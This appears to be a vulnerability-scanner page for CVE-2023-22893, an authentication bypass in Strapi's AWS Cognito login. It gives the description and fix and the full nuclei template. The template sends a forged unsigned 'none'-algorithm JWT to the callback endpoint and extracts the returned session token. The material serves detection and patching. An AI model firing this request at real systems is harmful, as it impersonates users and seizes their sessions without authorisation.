Strapi Versions <=4.5.6 - Authentication Bypass

highseverity

7.5CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.

Impact

Unauthenticated attackers can forge JWT tokens using the "None" algorithm to bypass AWS Cognito authentication and impersonate any Strapi user, gaining unauthorized access to CMS content and administrative functions.

Fix

Update Strapi to version 4.5.6 or later which properly verifies access and ID tokens issued during OAuth flow with AWS Cognito login provider.

How to confirm it

Send: GET /api/auth/cognito/callback?access_token={{to_lower(rand_text_alpha(8))}}&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.{{base64(payload)}}.
Positive when: contains "\"provider\":" and "\"confirmed\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-22893 -u <target>

The full check

id: CVE-2023-22893

info:
  name: Strapi Versions <=4.5.6 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.
  impact: |
    Unauthenticated attackers can forge JWT tokens using the "None" algorithm to bypass AWS Cognito authentication and impersonate any Strapi user, gaining unauthorized access to CMS content and administrative functions.
  remediation: |
    Update Strapi to version 4.5.6 or later which properly verifies access and ID tokens issued during OAuth flow with AWS Cognito login provider.
  reference:
    - https://www.ghostccamm.com/blog/multi_strapi_vulns
    - https://github.com/strapi/strapi/releases
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-22893
    cwe-id: CWE-287
    epss-score: 0.04124
    epss-percentile: 0.90889
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: strapi
    product: strapi
    fofa-query: app="strapi-Headless-CMS"
  tags: cve,cve2023,strapi,authenticated,aws,cognito,vkev,vuln

variables:
  email: "{{email}}"
  payload: '{"cognito:username":"{{to_lower(rand_text_alpha(10))}}","email":"{{email}}"}'

http:
  - raw:
      - |
        GET /api/auth/cognito/callback?access_token={{to_lower(rand_text_alpha(8))}}&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.{{base64(payload)}}. HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"provider":'
          - '"confirmed":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: token
        json:
          - ".jwt"

References

Use this check only on systems you are authorised to test. Where the data comes from